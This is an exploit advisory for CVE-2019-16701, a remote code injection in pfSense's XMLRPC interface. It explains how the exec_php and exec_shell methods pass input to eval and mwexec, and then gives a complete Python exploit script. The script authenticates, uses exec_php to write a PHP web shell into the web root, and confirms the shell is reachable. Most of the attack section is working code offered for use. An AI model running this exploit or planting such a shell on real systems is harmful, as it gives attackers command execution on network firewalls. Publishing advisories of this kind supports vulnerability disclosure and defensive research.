# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection# Date: 23/09/2018# Author: Nassim Asrir# Vendor Homepage: https://www.pfsense.org/# Contact: wassline@gmail.com | https://www.linkedin.com/in/nassim-asrir-b73a57122/# CVE: CVE-2019-16701# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3######################################################################################################1: About Pfsense:==================
pfSense is a free andopen source firewall and router that also features unified threat management, load balancing, multi WAN,and more.2: Technical Analysis:=======================
The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC)and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands.
XMLRPC methods:
pfsense.exec_shell
pfsense.exec_php
pfsense.filter_configure
pfsense.interfaces_carp_configure
pfsense.backup_config_section
pfsense.restore_config_section
pfsense.merge_config_section
pfsense.merge_installedpackages_section_xmlrpc
pfsense.host_firmware_version
pfsense.reboot
pfsense.get_notices
system.listMethods
system.methodHelp
system.methodSignature
As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php.2: Static Analysis:====================
In the static analysis we will analysis the xmlrpc.php file.
Line (73-82)
This code check if the user have enough privileges.
$user_entry = getUserEntry($username);/** admin (uid =0)is allowed
*or regular user with necessary privilege
*/if(isset($user_entry['uid'])&& $user_entry['uid']!='0'&&
!userHasPrivilege($user_entry,'system-xmlrpc-ha-sync')){
log_auth("webConfigurator authentication error for '".
$username ."' from ". $this->remote_addr ." not enough privileges");
Line (137-146)
This part of code is the interest for us.
As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code).
public function exec_php($code){
$this->auth();eval($code);if($toreturn){return $toreturn;}return true;}
Line (155-160)
In this part of code also we have a check for auth then the execution for($code)
public function exec_shell($code){
$this->auth();
mwexec($code);return true;}3- Exploit:============#!/usr/bin/env pythonimport argparse
import requests
import urllib2
import time
import sys
import string
import random
parser = argparse.ArgumentParser()
parser.add_argument("--rhost",help="Target Uri https://127.0.0.1")
parser.add_argument("--password",help="pfsense Password")
args = parser.parse_args()
rhost = args.rhost
password = args.password
print""print"[+] CVE-2019-16701 - Pfsense - Remote Code Injection"print""print"[+] Author: Nassim Asrir"print""
command ="<?xml version='1.0' encoding='iso-8859-1'?>"
command +="<methodCall>"
command +="<methodName>pfsense.host_firmware_version</methodName>"
command +="<params>"
command +="<param><value><string>"+password+"</string></value></param>"
command +="</params>"
command +="</methodCall>"
stage1 = rhost +"/xmlrpc.php"
page = urllib2.urlopen(stage1, data=command).read()print"[+] Checking Login Creds"if"Authentication failed"in page:print"[-] Wrong password :("
sys.exit(0)else:
random =''.join([random.choice(string.ascii_letters + string.digits)for n inxrange(32)])print"[+] logged in successfully :)"print"[+] Generating random file "+random+".php"print"[+] Sending the exploit ....."
command ="<?xml version='1.0' encoding='iso-8859-1'?>"
command +="<methodCall>"
command +="<methodName>pfsense.exec_php</methodName>"
command +="<params>"
command +="<param><value><string>"+password+"</string></value></param>"
command +="<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>"
command +="</params>"
command +="</methodCall>"
stage1 = rhost +"/xmlrpc.php"
page = urllib2.urlopen(stage1, data=command).read()
final = rhost+"/"+str(random)+".php"
check = urllib2.urlopen(final)print"[+] Checking ....."if check.getcode()==200:print"[+] Yeah! You got your shell: "+ final+"?cmd=id"else:print"[+] Sorry :( Shell not found check the path"